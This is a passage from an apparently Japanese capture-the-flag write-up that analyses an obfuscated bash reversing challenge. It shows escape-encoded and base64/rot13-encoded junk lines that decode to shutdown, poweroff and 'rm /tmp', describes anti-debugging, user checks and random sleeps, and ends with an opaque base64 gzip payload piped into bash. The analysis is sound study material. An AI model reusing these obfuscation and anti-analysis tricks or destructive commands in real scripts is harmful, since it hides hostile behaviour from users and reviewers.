: $($'\145\143\150\157' ZXhpdAo= | $'\142\141\163\145\66\64' $'\55\144' );
: $'\u0065\u0078\u0069\u0074';
: :;
: $(echo =oAdphXZ |rev|base64 -d);
$'\u003A' $'\u0065\u0078\u0069\u0074';
$'\x3A' $($'\u0065\u0063\u0068\u006f' c2h1dGRvd24K | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );
: ::;
$'\u003A' $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' );
$'\72' $(echo K42dvRGd1h2c |rev|base64 -d);
$(: rm /tmp);
: $'\u0073\u0068\u0075\u0074\u0064\u006f\u0077\u006e';
:;
$'\u003A' $($'\x65\x63\x68\x6f' cG93ZXJvZmYK | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' );
: $(ls --help|grep ^G|cut -c32)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c50)$(ls --help|grep ^G|cut -c50);
$'\72' $($'\145\143\150\157' c2h1dGRvd24K | $'\142\141\163\145\66\64' $'\55\144' );
$'\x3A' poweroff;
$'\72' $(echo =oAdphXZ |rev|base64 -d);
$'\72' $($'\u0065\u0063\u0068\u006f' cG93ZXJvZmYK | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );
: $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' -d);
$'\u003A' $(echo X42qiETq1u2p |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);
: $($'\u0065\u0063\u0068\u006f' ZXhpdAo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );
$'\72' exit;
$'\x3A' $(ls --help|grep ^G|cut -c32)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c50)$(ls --help|grep ^G|cut -c50);
$'\72' $(ls --help|grep ^G|cut -c8)$(printf "%b" $(printf '%s%x' '\x' $((0x77 ^ 0x2f)))|tr A-Z a-z)$(ls --help|grep ^G|cut -c11)$(ls --help|grep ^G|cut -c10);
: $(echo pT93MKWiMzLX |tr A-Za-z N-ZA-Mn-za-m|base64 -d);

21行目を確認すると、以下のような処理がありデバッグモードを検知して終了するようになっていました。

echo $-|grep x && exit

上記の処理をコメントアウトして、再度実行してみます。

$ bash -x Beeeeeeeeeer_2.sh

# 省略

+ base64 -d
+ echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo=
Let's decording!(≧∀≦*)
+ read
hoge
++ base64 -d
++ echo MjAK
+ trap '' 1 2 3 15 18 19 20
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ echo =btB
++ tr A-Za-z N-ZA-Mn-za-m
++ rev
++ base64 -d
++ rev
+ :
++ echo =bNpyW3M
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ rev
++ echo XRKY
++ base64 -d
++ rev
++ echo =ogO
+ grep -q :
+ '[' -z '' ']'
+ ID=nandoku
+ grep -e root -e user -e adm -e nobody -e test -e nandoku
+ whoami
+ :
++ seq 7
+ for i in '$('\''seq'\'' $((RANDOM % 10)))'
++ base64 -d
++ echo c2xlZXAK
+ sleep 251

今回は、2つの解析妨害処理が確認できます。 1つ目は、ユーザの確認処理です。23行目から30行目を確認すると、以下の処理が確認できます。

if [ -z "$1" ];
then  ID=$'\x6e\x61\x6e\x64\x6f\x6b\x75';
else  ID="$1";
fi;
if whoami | grep -e root -e user -e adm -e nobody -e test -e "$ID" >/dev/null;
then :;
else exit;
 fi;

rootuseradmnobodytestnandokuコマンドライン引数に指定したユーザ名 以外の場合、exitで終了するようです。 今回は、もともとrootで実行していたので、この処理は、通過できていました。

2つ目は、sleep処理です。 31行目~33行目を確認すると、以下の処理が確認できます。

for i in $($'\x73\x65\x71' $((RANDOM % 10)));
do  $($'\x65\x63\x68\x6f' c2xlZXAK | $'\x62\x61\x73\x65\x36\x34' -d) $((RANDOM % 300));
done;

0~9回ランダムでsleep処理が呼び出され、sleep時間も0~299秒ランダムで決定するようです。 sleepされると面倒くさいので、この処理もコメントアウトしておきます。

$ bash -x Beeeeeeeeeer_2.sh

# 省略

+ base64 -d
+ echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo=
Let's decording!(≧∀≦*)
+ read
hoge
++ base64 -d
++ echo MjAK
+ trap '' 1 2 3 15 18 19 20
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ tr A-Za-z N-ZA-Mn-za-m
++ rev
++ echo =btB
++ rev
++ base64 -d
++ echo =bNpyW3M
+ :
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ rev
++ echo XRKY
++ base64 -d
++ rev
++ echo =ogO
+ grep -q :
+ '[' -z '' ']'
+ ID=nandoku
+ grep -e root -e user -e adm -e nobody -e test -e nandoku
+ whoami
+ :
+ echo hxB
++ base64 -d
++ rev
++ echo =oAclJ3Z
++ base64 -d
++ rev
++ echo =oAe
+ grep x
hxB
++ base64 -d
++ echo ZXhpdAo=
+ exit

また、先ほどと同様にデバッグモードを検知して、終了しているようです。 34行目の以下の処理をコメントアウトして、再度実行します。

$'\145\143\150\157' $-|$(echo =oAclJ3Z |rev|base64 -d) $(echo =oAe |rev|base64 -d) && $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' );

実行すると、How many beeps?と表示されました。

$ bash -x Beeeeeeeeeer_2.sh

# 省略

+ base64 -d
+ echo TGV0J3MgZGVjb3JkaW5nISjiiafiiIDiiaYqKQo=
Let's decording!(≧∀≦*)
+ read
hoge
++ base64 -d
++ echo MjAK
+ trap '' 1 2 3 15 18 19 20
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ base64 -d
++ rev
++ tr A-Za-z N-ZA-Mn-za-m
++ echo =btB
++ rev
+ :
++ echo =bNpyW3M
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ rev
++ echo XRKY
++ base64 -d
++ rev
++ echo =ogO
+ grep -q :
+ '[' -z '' ']'
+ ID=nandoku
+ grep -e root -e user -e adm -e nobody -e test -e nandoku
+ whoami
+ :
++ base64 -d
++ base64 -d
++ rev
++ tr A-Za-z N-ZA-Mn-za-m
++ tr A-Za-z N-ZA-Mn-za-m
++ echo =btB
++ echo M3WypNb=
+ :
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ echo YKRX
++ base64 -d
++ tr A-Za-z N-ZA-Mn-za-m
++ echo Btb=
+ grep -q :
++ base64 -d
++ echo aG9nZWZ1Z2EK
+ export S1=hogefuga
+ S1=hogefuga
+ bash
+ gunzip
+ base64 -d
+ echo -n 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